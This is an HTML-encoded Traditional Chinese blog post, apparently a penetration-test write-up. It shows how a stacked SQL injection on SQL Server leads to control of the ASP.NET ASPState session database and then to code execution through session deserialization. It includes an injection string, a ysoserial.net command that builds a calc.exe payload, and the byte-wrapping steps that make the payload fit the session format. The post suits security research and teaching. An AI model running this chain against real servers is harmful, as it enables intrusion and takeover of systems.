markdown--><p>&#x4ECA;&#x65E5;&#x4F86;&#x804A;&#x804A;&#x5728;&#x53BB;&#x5E74;&#x67D0;&#x6B21;&#x6EF2;&#x900F;&#x6E2C;&#x8A66;&#x904E;&#x4E2D;&#x767C;&#x73FE;&#x7684;&#x8DA3;&#x4E8B;&#xFF0C;&#x90A3;&#x662F;&#x5728;&#x4E00;&#x500B;&#x98A8;&#x548C;&#x65E5;&#x9E97;&#x7684;&#x4E0B;&#x5348;&#xFF0C;&#x8207;&#x5F80;&#x5E38;&#x4E00;&#x6A23;&#x9032;&#x884C;&#x8457;&#x67AF;&#x71E5;&#x7684;&#x6E2C;&#x8A66;&#x74B0;&#x7BC0;&#xFF0C;&#x5C0D;&#x6BCF;&#x500B;&#x53C3;&#x6578;&#x5617;&#x8A66;&#x5404;&#x7A2E;&#x53EF;&#x80FD;&#x7684;&#x6CE8;&#x5165;&#xFF0C;&#x4F46;&#x9072;&#x9072;&#x6C92;&#x6709;&#x4EFB;&#x4F55;&#x9032;&#x5C55;&#x548C;&#x7A81;&#x7834;&#xFF0C;&#x76F4;&#x5230;&#x5728;&#x67D0;&#x500B;&#x9801;&#x9762;&#x4E0A;&#x6CE8;&#x5165; <code>?id=1; waitfor delay &apos;00:00:05&apos;--</code>&#xFF0C;&#x7136;&#x5F8C;&#x4ED6;&#x5C31;&#x5361;&#x4F4F;&#x4E86;&#xFF0C;&#x904E;&#x4E86;&#x6070;&#x597D; 5 &#x79D2;&#x9418;&#x5F8C;&#x4F3A;&#x670D;&#x5668;&#x53C8;&#x6709;&#x56DE;&#x61C9;&#xFF0C;&#x9019;&#x8868;&#x793A;&#x6211;&#x5011;&#x627E;&#x5230;&#x4E00;&#x500B; SQL Server &#x4E0A;&#x7684; SQL Injection&#xFF01;</p>
<p>&#x4E00;&#x4E9B;&#x9673;&#x820A;&#x3001;&#x9F90;&#x5927;&#x7684;&#x7CFB;&#x7D71;&#x4E2D;&#xFF0C;&#x56E0;&#x70BA;&#x4E00;&#x4E9B;&#x8907;&#x96DC;&#x7684;&#x56E0;&#x7D20;&#xFF0C;&#x5F80;&#x5F80;&#x4ECD;&#x4F7F;&#x7528;&#x8457; sa &#x5E33;&#x6236;&#x4F86;&#x767B;&#x5165; SQL Server&#xFF0C;&#x800C;&#x5728;&#x6709;&#x5982;&#x6B64;&#x9AD8;&#x6B0A;&#x9650;&#x7684;&#x8CC7;&#x6599;&#x5EAB;&#x5E33;&#x6236;&#x524D;&#x63D0;&#x4E0B;&#xFF0C;&#x6211;&#x5011;&#x53EF;&#x4EE5;&#x8F15;&#x6613;&#x5229;&#x7528; xp_cmdshell &#x4F86;&#x57F7;&#x884C;&#x7CFB;&#x7D71;&#x6307;&#x4EE4;&#x4EE5;&#x53D6;&#x5F97;&#x8CC7;&#x6599;&#x5EAB;&#x4F3A;&#x670D;&#x5668;&#x7684;&#x4F5C;&#x696D;&#x7CFB;&#x7D71;&#x63A7;&#x5236;&#x6B0A;&#xFF0C;&#x4F46;&#x5047;&#x5982;&#x6545;&#x4E8B;&#x6709;&#x5982;&#x6B64;&#x9806;&#x5229;&#xFF0C;&#x5C31;&#x4E0D;&#x6703;&#x51FA;&#x73FE;&#x9019;&#x7BC7;&#x6587;&#x7AE0;&#xFF0C;&#x6240;&#x4EE5;&#x7406;&#x6240;&#x7576;&#x7136;&#x6211;&#x5011;&#x53D6;&#x5F97;&#x7684;&#x8CC7;&#x6599;&#x5EAB;&#x5E33;&#x6236;&#x4E26;&#x6C92;&#x6709;&#x8DB3;&#x5920;&#x6B0A;&#x9650;&#x3002;&#x4F46;&#x56E0;&#x70BA;&#x767C;&#x73FE;&#x7684; SQL Injection &#x662F; Stacked based&#xFF0C;&#x6211;&#x5011;&#x4ECD;&#x7136;&#x53EF;&#x4EE5;&#x5C0D;&#x8CC7;&#x6599;&#x8868;&#x505A; CRUD&#xFF0C;&#x904B;&#x6C23;&#x597D;&#x63A7;&#x5236;&#x5230;&#x4E00;&#x4E9B;&#x7DB2;&#x7AD9;&#x8A2D;&#x5B9A;&#x8B8A;&#x6578;&#x7684;&#x8A71;&#xFF0C;&#x751A;&#x81F3;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x9054;&#x6210; RCE&#xFF0C;&#x6240;&#x4EE5;&#x9084;&#x662F;&#x8A66;&#x8457; dump schema &#x4EE5;&#x4E86;&#x89E3;&#x67B6;&#x69CB;&#xFF0C;&#x800C;&#x5728; dump &#x904E;&#x7A0B;&#x4E2D;&#x767C;&#x73FE;&#x4E86;&#x4E00;&#x500B;&#x6709;&#x8DA3;&#x7684;&#x8CC7;&#x6599;&#x5EAB;&#xFF1A;</p>
<pre><code class="language-plaintext">Database: ASPState
[2 tables]
+---------------------------------------+
| dbo.ASPStateTempApplications          |
| dbo.ASPStateTempSessions              |
+---------------------------------------+
</code></pre>
<p>&#x95B1;&#x8B80;&#x6587;&#x4EF6;&#x5F8C;&#x4E86;&#x89E3;&#x5230;&#xFF0C;&#x9019;&#x500B;&#x8CC7;&#x6599;&#x5EAB;&#x7684;&#x5B58;&#x5728;&#x7528;&#x9014;&#x662F;&#x7528;&#x4F86;&#x4FDD;&#x5B58; ASP.NET &#x7DB2;&#x7AD9;&#x61C9;&#x7528;&#x7A0B;&#x5F0F;&#x7684; session&#x3002;&#x4E00;&#x822C;&#x60C5;&#x6CC1;&#x4E0B;&#x9810;&#x8A2D; session &#x662F;&#x5132;&#x5B58;&#x5728; ASP.NET &#x7DB2;&#x7AD9;&#x61C9;&#x7528;&#x7A0B;&#x5F0F;&#x7684;&#x8A18;&#x61B6;&#x9AD4;&#x4E2D;&#xFF0C;&#x4F46;&#x67D0;&#x4E9B;&#x5206;&#x6563;&#x5F0F;&#x67B6;&#x69CB;&#xFF08;&#x4F8B;&#x5982; Load Balance &#x67B6;&#x69CB;&#xFF09;&#x7684;&#x60C5;&#x6CC1;&#x4E0B;&#xFF0C;&#x540C;&#x6642;&#x6703;&#x6709;&#x591A;&#x500B;&#x4E00;&#x6A21;&#x4E00;&#x6A23;&#x7684; ASP.NET &#x7DB2;&#x7AD9;&#x61C9;&#x7528;&#x7A0B;&#x5F0F;&#x904B;&#x884C;&#x5728;&#x4E0D;&#x540C;&#x4F3A;&#x670D;&#x5668;&#x4E3B;&#x6A5F;&#x4E0A;&#xFF0C;&#x800C;&#x4F7F;&#x7528;&#x8005;&#x6BCF;&#x6B21;&#x8ACB;&#x6C42;&#x6642;&#x88AB;&#x5206;&#x914D;&#x5230;&#x7684;&#x4F3A;&#x670D;&#x5668;&#x4E3B;&#x6A5F;&#x4E5F;&#x4E0D;&#x6703;&#x5B8C;&#x5168;&#x4E00;&#x81F4;&#xFF0C;&#x5C31;&#x6703;&#x9700;&#x8981;&#x6709;&#x53EF;&#x4EE5;&#x8B93;&#x591A;&#x500B;&#x4E3B;&#x6A5F;&#x5171;&#x4EAB; session &#x7684;&#x6A5F;&#x5236;&#xFF0C;&#x800C;&#x5132;&#x5B58;&#x5728; SQL Server &#x4E0A;&#x5C31;&#x662F;&#x4E00;&#x7A2E;&#x89E3;&#x6C7A;&#x65B9;&#x6848;&#x4E4B;&#x4E00;&#xFF0C;&#x60F3;&#x555F;&#x7528;&#x9019;&#x500B;&#x6A5F;&#x5236;&#x53EF;&#x4EE5;&#x5728; web.config &#x4E2D;&#x6DFB;&#x52A0;&#x5982;&#x4E0B;&#x8A2D;&#x5B9A;&#xFF1A;</p>
<pre><code class="language-xml">&lt;configuration&gt;
    &lt;system.web&gt;
        &lt;!-- &#x5C07; session &#x4FDD;&#x5B58;&#x5728; SQL Server &#x4E2D;&#x3002; --&gt;
        &lt;sessionState
            mode=&quot;SQLServer&quot;
            sqlConnectionString=&quot;data source=127.0.0.1;user id=&lt;username&gt;;password=&lt;password&gt;&quot;
            timeout=&quot;20&quot;
        /&gt;
        
        &lt;!-- &#x9810;&#x8A2D;&#x503C;&#xFF0C;&#x5C07; session &#x4FDD;&#x5B58;&#x5728;&#x8A18;&#x61B6;&#x9AD4;&#x4E2D;&#x3002; --&gt;
        &lt;!-- &lt;sessionState mode=&quot;InProc&quot; timeout=&quot;20&quot; /&gt; --&gt;
 
        &lt;!-- &#x5C07; session &#x4FDD;&#x5B58;&#x5728; ASP.NET State Service &#x4E2D;&#xFF0C;
             &#x53E6;&#x4E00;&#x7A2E;&#x8DE8;&#x4E3B;&#x6A5F;&#x5171;&#x4EAB; session &#x7684;&#x89E3;&#x6C7A;&#x65B9;&#x6848;&#x3002; --&gt;
        &lt;!--
        &lt;sessionState
            mode=&quot;StateServer&quot;
            stateConnectionString=&quot;tcpip=localhost:42424&quot;
            timeout=&quot;20&quot;
        /&gt;
        --&gt;
    &lt;/system.web&gt;
&lt;/configuration&gt;
</code></pre>
<p>&#x800C;&#x8981;&#x5728;&#x8CC7;&#x6599;&#x5EAB;&#x4E2D;&#x5EFA;&#x7ACB; ASPState &#x7684;&#x8CC7;&#x6599;&#x5EAB;&#xFF0C;&#x53EF;&#x4EE5;&#x5229;&#x7528;&#x5167;&#x5EFA;&#x7684;&#x5DE5;&#x5177; <code>C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe</code> &#x5B8C;&#x6210;&#x9019;&#x500B;&#x4EFB;&#x52D9;&#xFF0C;&#x53EA;&#x9700;&#x8981;&#x4F7F;&#x7528;&#x4E0B;&#x8FF0;&#x6307;&#x4EE4;&#x5373;&#x53EF;&#xFF1A;</p>
<pre><code class="language-bash"># &#x5EFA;&#x7ACB; ASPState &#x8CC7;&#x6599;&#x5EAB;
aspnet_regsql.exe -S 127.0.0.1 -U sa -P password -ssadd -sstype p

# &#x79FB;&#x9664; ASPState &#x8CC7;&#x6599;&#x5EAB;
aspnet_regsql.exe -S 127.0.0.1 -U sa -P password -ssremove -sstype p
</code></pre>
<br>
<br>
<p>&#x73FE;&#x5728;&#x6211;&#x5011;&#x4E86;&#x89E3;&#x5982;&#x4F55;&#x8A2D;&#x5B9A; session &#x7684;&#x5132;&#x5B58;&#x4F4D;&#x7F6E;&#xFF0C;&#x4E14;&#x53C8;&#x53EF;&#x4EE5;&#x63A7;&#x5236; ASPState &#x8CC7;&#x6599;&#x5EAB;&#xFF0C;&#x53EF;&#x4EE5;&#x505A;&#x5230;&#x4E9B;&#x4EC0;&#x9EBC;&#x5462;&#xFF1F;&#x9019;&#x5C31;&#x662F;&#x6587;&#x7AE0;&#x6A19;&#x984C;&#x7684;&#x91CD;&#x9EDE;&#xFF0C;&#x53D6;&#x5F97; Remote Code Execution&#xFF01;</p>
<p>ASP.NET &#x5141;&#x8A31;&#x6211;&#x5011;&#x5728; session &#x4E2D;&#x5132;&#x5B58;&#x4E00;&#x4E9B;&#x7269;&#x4EF6;&#xFF0C;&#x4F8B;&#x5982;&#x5132;&#x5B58;&#x4E00;&#x500B; List &#x7269;&#x4EF6;&#xFF1A;<code>Session[&quot;secret&quot;] = new List&lt;String&gt;() { &quot;secret string&quot; };</code>&#xFF0C;&#x5C0D;&#x65BC;&#x5982;&#x4F55;&#x5C07;&#x9019;&#x4E9B;&#x7269;&#x4EF6;&#x4FDD;&#x5B58;&#x5230; SQL Server &#x4E0A;&#xFF0C;&#x7406;&#x6240;&#x7576;&#x7136;&#x5730;&#x4F7F;&#x7528;&#x4E86;<strong>&#x5E8F;&#x5217;&#x5316;&#x6A5F;&#x5236;</strong>&#x4F86;&#x8655;&#x7406;&#xFF0C;&#x800C;&#x6211;&#x5011;&#x53C8;&#x63A7;&#x5236;&#x4E86;&#x8CC7;&#x6599;&#x5EAB;&#xFF0C;&#x6240;&#x4EE5;&#x4E5F;&#x80FD;&#x57F7;&#x884C;&#x4EFB;&#x610F;&#x53CD;&#x5E8F;&#x5217;&#x5316;&#xFF0C;&#x70BA;&#x6B64;&#x9700;&#x8981;&#x5148;&#x4E86;&#x89E3; Session &#x7269;&#x4EF6;&#x5E8F;&#x5217;&#x5316;&#x8207;&#x53CD;&#x5E8F;&#x5217;&#x5316;&#x7684;&#x904E;&#x7A0B;&#x3002;</p>
<p>&#x7C21;&#x55AE;&#x95B1;&#x8B80;&#x7A0B;&#x5F0F;&#x78BC;&#x5F8C;&#xFF0C;&#x5F88;&#x5FEB;&#x5C31;&#x53EF;&#x4EE5;&#x5B9A;&#x4F4D;&#x51FA;&#x8655;&#x7406;&#x76F8;&#x95DC;&#x904E;&#x7A0B;&#x7684;&#x985E;&#x5225;&#xFF0C;&#x70BA;&#x4E86;&#x7E2E;&#x6E1B;&#x8AAA;&#x660E;&#x7684;&#x7BC7;&#x5E45;&#xFF0C;&#x4EE5;&#x4E0B;&#x5C07;&#x76F4;&#x63A5;&#x5207;&#x5165;&#x91CD;&#x9EDE;&#x8AAA;&#x660E;&#x5F9E;&#x8CC7;&#x6599;&#x5EAB;&#x53D6;&#x51FA;&#x8CC7;&#x6599;&#x5F8C;&#x9032;&#x884C;&#x4E86;&#x4EC0;&#x9EBC;&#x6A23;&#x7684;&#x53CD;&#x5E8F;&#x5217;&#x5316;&#x64CD;&#x4F5C;&#x3002;&#x6838;&#x5FC3;&#x4E3B;&#x8981;&#x662F;&#x900F;&#x904E;&#x547C;&#x53EB; <code>SqlSessionStateStore.GetItem</code> &#x51FD;&#x5F0F;&#x9084;&#x539F;&#x51FA; Session &#x7269;&#x4EF6;&#xFF0C;&#x96D6;&#x7136;&#x5DF2;&#x76E1;&#x53EF;&#x80FD;&#x628A;&#x7121;&#x95DC;&#x7DCA;&#x8981;&#x7684;&#x7A0B;&#x5F0F;&#x78BC;&#x79FB;&#x9664;&#xFF0C;&#x4F46;&#x884C;&#x6578;&#x9084;&#x662F;&#x504F;&#x591A;&#xFF0C;&#x5982;&#x679C;&#x61F6;&#x5F97;&#x95B1;&#x8B80;&#x7A0B;&#x5F0F;&#x78BC;&#x7684;&#x670B;&#x53CB;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x4E0B;&#x62C9;&#x7E7C;&#x7E8C;&#x770B;&#x6587;&#x7AE0;&#x8AAA;&#x660E; XD</p>
<pre><code class="language-CSharp">namespace System.Web.SessionState {
    internal class SqlSessionStateStore : SessionStateStoreProviderBase {
        public override SessionStateStoreData  GetItem(HttpContext context,
                                                        String id,
                                                        out bool locked,
                                                        out TimeSpan lockAge,
                                                        out object lockId,
                                                        out SessionStateActions actionFlags) {
            SessionIDManager.CheckIdLength(id, true /* throwOnFail */);
            return DoGet(context, id, false, out locked, out lockAge, out lockId, out actionFlags);
        }

        SessionStateStoreData DoGet(HttpContext context, String id, bool getExclusive,
                                        out bool locked,
                                        out TimeSpan lockAge,
                                        out object lockId,
                                        out SessionStateActions actionFlags) {
            SqlDataReader       reader;
            byte []             buf;
            MemoryStream        stream = null;
            SessionStateStoreData    item;
            SqlStateConnection  conn = null;
            SqlCommand          cmd = null;
            bool                usePooling = true;

            buf = null;
            reader = null;
            conn = GetConnection(id, ref usePooling);

            try {
                if (getExclusive) {
                    cmd = conn.TempGetExclusive;
                } else {
                    cmd = conn.TempGet;
                }

                cmd.Parameters[0].Value = id + _partitionInfo.AppSuffix; // @id
                cmd.Parameters[1].Value = Convert.DBNull;   // @itemShort
                cmd.Parameters[2].Value = Convert.DBNull;   // @locked
                cmd.Parameters[3].Value = Convert.DBNull;   // @lockDate or @lockAge
                cmd.Parameters[4].Value = Convert.DBNull;   // @lockCookie
                cmd.Parameters[5].Value = Convert.DBNull;   // @actionFlags

                using(reader = SqlExecuteReaderWithRetry(cmd, CommandBehavior.Default)) {
                    if (reader != null) {
                        try {
                            if (reader.Read()) {
                                buf = (byte[]) reader[0];
                            }
                        } catch(Exception e) {
                            ThrowSqlConnectionException(cmd.Connection, e);
                        }
                    }
                }

                if (buf == null) {
                    /* Get short item */
                    buf = (byte[]) cmd.Parameters[1].Value;
                }

                using(stream = new MemoryStream(buf)) {
                    item = SessionStateUtility.DeserializeStoreData(context, stream, s_configCompressionEnabled);
                    _rqOrigStreamLen = (int) stream.Position;
                }
                return item;
            } finally {
                DisposeOrReuseConnection(ref conn, usePooling);
            }
        }
        
        class SqlStateConnection : IDisposable {
            internal SqlCommand TempGet {
                get {
                    if (_cmdTempGet == null) {
                        _cmdTempGet = new SqlCommand(&quot;dbo.TempGetStateItem3&quot;, _sqlConnection);
                        _cmdTempGet.CommandType = CommandType.StoredProcedure;
                        _cmdTempGet.CommandTimeout = s_commandTimeout;
                        // ignore process of setting parameters
                    }
                    return _cmdTempGet;
                }
            }
        }
    }
}
</code></pre>
<br>
<p>&#x6211;&#x5011;&#x53EF;&#x4EE5;&#x5F9E;&#x7A0B;&#x5F0F;&#x78BC;&#x6E05;&#x695A;&#x770B;&#x51FA;&#x4E3B;&#x8981;&#x662F;&#x547C;&#x53EB; <code>ASPState.dbo.TempGetStateItem3</code> Stored Procedure &#x53D6;&#x5F97; Session &#x7684;&#x5E8F;&#x5217;&#x5316;&#x4E8C;&#x9032;&#x5236;&#x8CC7;&#x6599;&#x4E26;&#x4FDD;&#x5B58;&#x5230; buf &#x8B8A;&#x6578;&#xFF0C;&#x6700;&#x5F8C;&#x5C07; buf &#x50B3;&#x5165; <code>SessionStateUtility.DeserializeStoreData</code> &#x9032;&#x884C;&#x53CD;&#x5E8F;&#x5217;&#x5316;&#x9084;&#x539F;&#x51FA; Session &#x7269;&#x4EF6;&#xFF0C;&#x800C; TempGetStateItem3 &#x9019;&#x500B; SP &#x5247;&#x662F;&#x76F8;&#x7576;&#x65BC;&#x5728;&#x57F7;&#x884C; <code>SELECT SessionItemShort FROM [ASPState].dbo.ASPStateTempSessions</code>&#xFF0C;&#x6240;&#x4EE5;&#x53EF;&#x4EE5;&#x77E5;&#x9053; Session &#x662F;&#x5132;&#x5B58;&#x5728; ASPStateTempSessions &#x8CC7;&#x6599;&#x8868;&#x7684; SessionItemShort &#x6B04;&#x4F4D;&#x4E2D;&#x3002;&#x63A5;&#x8457;&#x8B93;&#x6211;&#x5011;&#x7E7C;&#x7E8C;&#x5F80;&#x4E0B;&#x770B;&#x95DC;&#x9375;&#x7684; DeserializeStoreData &#x505A;&#x4E86;&#x4EC0;&#x9EBC;&#x6A23;&#x7684;&#x64CD;&#x4F5C;&#x3002;&#x540C;&#x6A23;&#x5730;&#xFF0C;&#x884C;&#x6578;&#x504F;&#x591A;&#xFF0C;&#x6709;&#x9700;&#x6C42;&#x7684;&#x670B;&#x53CB;&#x8ACB;&#x81EA;&#x884C;&#x4E0B;&#x62C9; XD</p>
<pre><code class="language-CSharp">namespace System.Web.SessionState {
    public static class SessionStateUtility {

        [SecurityPermission(SecurityAction.Assert, SerializationFormatter = true)]
        internal static SessionStateStoreData Deserialize(HttpContext context, Stream stream) {
            int                 timeout;
            SessionStateItemCollection   sessionItems;
            bool                hasItems;
            bool                hasStaticObjects;
            HttpStaticObjectsCollection staticObjects;
            Byte                eof;

            try {
                BinaryReader reader = new BinaryReader(stream);
                timeout = reader.ReadInt32();
                hasItems = reader.ReadBoolean();
                hasStaticObjects = reader.ReadBoolean();

                if (hasItems) {
                    sessionItems = SessionStateItemCollection.Deserialize(reader);
                } else {
                    sessionItems = new SessionStateItemCollection();
                }

                if (hasStaticObjects) {
                    staticObjects = HttpStaticObjectsCollection.Deserialize(reader);
                } else {
                    staticObjects = SessionStateUtility.GetSessionStaticObjects(context);
                }

                eof = reader.ReadByte();
                if (eof != 0xff) {
                    throw new HttpException(SR.GetString(SR.Invalid_session_state));
                }
            } catch (EndOfStreamException) {
                throw new HttpException(SR.GetString(SR.Invalid_session_state));
            }
            return new SessionStateStoreData(sessionItems, staticObjects, timeout);
        }
    
        static internal SessionStateStoreData DeserializeStoreData(HttpContext context, Stream stream, bool compressionEnabled) {
            return SessionStateUtility.Deserialize(context, stream);
        }
    }
}
</code></pre>
<p>&#x6211;&#x5011;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x5BE6;&#x969B;&#x4E0A; DeserializeStoreData &#x53C8;&#x662F;&#x628A;&#x53CD;&#x5E8F;&#x5217;&#x5316;&#x904E;&#x7A0B;&#x8F49;&#x4EA4;&#x7D66;&#x5176;&#x4ED6;&#x985E;&#x5225;&#xFF0C;&#x800C;&#x4F9D;&#x64DA;&#x53D6;&#x51FA;&#x7684;&#x8CC7;&#x6599;&#x4E0D;&#x540C;&#xFF0C;&#x53EF;&#x80FD;&#x6703;&#x8F49;&#x4EA4;&#x7D66; <code>SessionStateItemCollection.Deserialize</code> &#x6216; <code>HttpStaticObjectsCollection.Deserialize</code> &#x505A;&#x8655;&#x7406;&#xFF0C;&#x5728;&#x89C0;&#x5BDF;&#x7A0B;&#x5F0F;&#x78BC;&#x5F8C;&#x767C;&#x73FE; <code>HttpStaticObjectsCollection</code> &#x7684;&#x8655;&#x7406;&#x76F8;&#x5C0D;&#x55AE;&#x7D14;&#xFF0C;&#x6240;&#x4EE5;&#x6211;&#x500B;&#x4EBA;&#x5C31;&#x9078;&#x64C7;&#x5F80;&#x9019;&#x500B;&#x5206;&#x652F;&#x4E0B;&#x53BB;&#x7814;&#x7A76;&#x3002;</p>
<pre><code class="language-CSharp">namespace System.Web {
    public sealed class HttpStaticObjectsCollection : ICollection {
        static public HttpStaticObjectsCollection Deserialize(BinaryReader reader) {
            int     count;
            string  name;
            string  typename;
            bool    hasInstance;
            Object  instance;
            HttpStaticObjectsEntry  entry;
            HttpStaticObjectsCollection col;

            col = new HttpStaticObjectsCollection();

            count = reader.ReadInt32();
            while (count-- &gt; 0) {
                name = reader.ReadString();
                hasInstance = reader.ReadBoolean();
                if (hasInstance) {
                    instance = AltSerialization.ReadValueFromStream(reader);
                    entry = new HttpStaticObjectsEntry(name, instance, 0);
                }
                else {
                    // skipped
                }
                col._objects.Add(name, entry);
            }

            return col;
        }
    }
}
</code></pre>
<br>
<p>&#x8DDF;&#x9032;&#x53BB;&#x4E00;&#x770B;&#xFF0C;&#x767C;&#x73FE; HttpStaticObjectsCollection &#x53D6;&#x51FA;&#x4E00;&#x4E9B; bytes &#x4E4B;&#x5F8C;&#xFF0C;&#x53C8;&#x628A;&#x904E;&#x7A0B;&#x8F49;&#x4EA4;&#x7D66; <code>AltSerialization.ReadValueFromStream</code> &#x9032;&#x884C;&#x8655;&#x7406;&#xFF0C;&#x770B;&#x5230;&#x9019;&#x7684;&#x670B;&#x53CB;&#x5011;&#x6216;&#x8A31;&#x6703;&#x81C9;&#x4E0A;&#x4E09;&#x689D;&#x7DDA;&#x5730;&#x5FC3;&#x60F3;&#xFF1A;&#x300C;&#x8A72;&#x4E0D;&#x6703;&#x53C8;&#x8981;&#x8FFD;&#x9032;&#x53BB;&#x5427; . . &#x300D;&#xFF0C;&#x4E0D;&#x904E;&#x5176;&#x5BE6;&#x5230;&#x6B64;&#x70BA;&#x6B62;&#x5C31;&#x5DF2;&#x8DB3;&#x5920;&#xFF0C;&#x56E0;&#x70BA; AltSerialization &#x5BE6;&#x969B;&#x4E0A;&#x985E;&#x4F3C;&#x65BC; BinaryFormatter &#x7684;&#x5305;&#x88DD;&#xFF0C;&#x5230;&#x6B64;&#x5DF2;&#x7D93;&#x6709;&#x8DB3;&#x5920;&#x8CC7;&#x8A0A;&#x4F5C;&#x5229;&#x7528;&#xFF0C;&#x53E6;&#x5916;&#x9084;&#x6709;&#x4E00;&#x500B;&#x539F;&#x56E0;&#x517C;&#x597D;&#x6D88;&#x606F;&#xFF0C;&#x7576;&#x521D;&#x6211;&#x7A0B;&#x5F0F;&#x78BC;&#x8FFD;&#x5230;&#x6B64;&#x8655;&#x6642;&#xFF0C;&#x4E0A;&#x7DB2;&#x4E00;&#x67E5;&#x9019;&#x500B;&#x7269;&#x4EF6;&#xFF0C;&#x767C;&#x73FE; <a href="https://github.com/pwntester/ysoserial.net">ysoserial.net</a> &#x5DF2;&#x7D93;&#x6709;&#x5EFA;&#x7ACB; AltSerialization &#x53CD;&#x5E8F;&#x5217;&#x5316; payload &#x7684; plugin&#xFF0C;&#x6240;&#x4EE5;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x638F;&#x51FA;&#x9019;&#x500B;&#x5229;&#x5668;&#x4F86;&#x4F7F;&#x7528;&#xFF01;&#x4E0B;&#x9762;&#x4E00;&#x884C;&#x6307;&#x4EE4;&#x5C31;&#x53EF;&#x4EE5;&#x7522;&#x751F;&#x57F7;&#x884C;&#x7CFB;&#x7D71;&#x6307;&#x4EE4; calc.exe &#x7684; base64 &#x7DE8;&#x78BC;&#x5F8C;&#x7684; payload&#x3002;</p>
<pre><code class="language-bash">ysoserial.exe -p Altserialization -M HttpStaticObjectsCollection -o base64 -c &quot;calc.exe&quot;
</code></pre>
<p>&#x4E0D;&#x904E;&#x5230;&#x6B64;&#x9084;&#x662F;&#x6709;&#x500B;&#x5C0F;&#x554F;&#x984C;&#x9700;&#x8981;&#x89E3;&#x6C7A;&#xFF0C;ysoserial.net &#x7684; AltSerialization plugin &#x6240;&#x5EFA;&#x7ACB;&#x7684; payload &#x662F;&#x653B;&#x64CA; SessionStateItemCollection &#x6216; HttpStaticObjectsCollection &#x5169;&#x500B;&#x985E;&#x5225;&#x7684;&#x53CD;&#x5E8F;&#x5217;&#x5316;&#x64CD;&#x4F5C;&#xFF0C;&#x800C;&#x6211;&#x5011;&#x5132;&#x5B58;&#x5728;&#x8CC7;&#x6599;&#x5EAB;&#x4E2D;&#x7684; session &#x5E8F;&#x5217;&#x5316;&#x8CC7;&#x6599;&#x662F;&#x7531;&#x5728;&#x6B64;&#x4E4B;&#x4E0A;&#x9084;&#x984D;&#x5916;&#x4F5C;&#x4E86;&#x4E00;&#x5C64;&#x5305;&#x88DD;&#x7684; SessionStateUtility &#x985E;&#x5225;&#x8655;&#x7406;&#x7684;&#xFF0C;&#x6240;&#x4EE5;&#x5FC5;&#x9808;&#x8981;&#x518D;&#x505A;&#x9EDE;&#x4FEE;&#x98FE;&#x3002;&#x56DE;&#x982D;&#x518D;&#x53BB;&#x770B;&#x770B;&#x7A0B;&#x5F0F;&#x78BC;&#xFF0C;&#x6703;&#x767C;&#x73FE; SessionStateUtility &#x4E5F;&#x53EA;&#x6DFB;&#x52A0;&#x4E86;&#x5E7E;&#x500B; bytes&#xFF0C;&#x6E1B;&#x5316;&#x5F8C;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>
<pre><code class="language-CSharp">timeout = reader.ReadInt32();
hasItems = reader.ReadBoolean();
hasStaticObjects = reader.ReadBoolean();

if (hasStaticObjects)
    staticObjects = HttpStaticObjectsCollection.Deserialize(reader);

eof = reader.ReadByte();
</code></pre>
<p>&#x5C0D;&#x65BC; Int32 &#x8981;&#x6DFB;&#x52A0; 4 &#x500B; bytes&#xFF0C;Boolean &#x5247;&#x662F; 1 &#x500B; byte&#xFF0C;&#x800C;&#x56E0;&#x70BA;&#x8981;&#x8B93;&#x7A0B;&#x5F0F;&#x8DEF;&#x5F91;&#x80FD;&#x9032;&#x5165; HttpStaticObjectsCollection &#x7684;&#x5206;&#x652F;&#xFF0C;&#x5FC5;&#x9808;&#x8B93;&#x7B2C; 6 &#x500B; byte &#x70BA; 1 &#x624D;&#x80FD;&#x8B93;&#x689D;&#x4EF6;&#x9054;&#x6210;&#xFF0C;&#x5148;&#x5C07;&#x539F;&#x672C;&#x5F9E; ysoserial.net &#x7522;&#x51FA;&#x7684; payload &#x5F9E; base64 &#x8F49;&#x6210; hex &#x8868;&#x793A;&#xFF0C;&#x518D;&#x524D;&#x5F8C;&#x5404;&#x5225;&#x6DFB;&#x52A0; 6&#x3001;1 bytes&#xFF0C;&#x5982;&#x4E0B;&#x793A;&#x610F;&#x5716;&#xFF1A;</p>
<pre><code class="language-plaintext">  timeout    false  true            HttpStaticObjectsCollection             eof
&#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510;  &#x250C;&#x2510;     &#x250C;&#x2510;    &#x250C;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2510; &#x250C;&#x2510;
00 00 00 00  00     01    010000000001140001000000fff ... &#x7565; ... 0000000a0b ff
</code></pre>
<p>&#x4FEE;&#x98FE;&#x5B8C;&#x7684;&#x9019;&#x500B; payload &#x5C31;&#x80FD;&#x7528;&#x4F86;&#x653B;&#x64CA; SessionStateUtility &#x985E;&#x5225;&#x4E86;&#xFF01;</p>
<br>
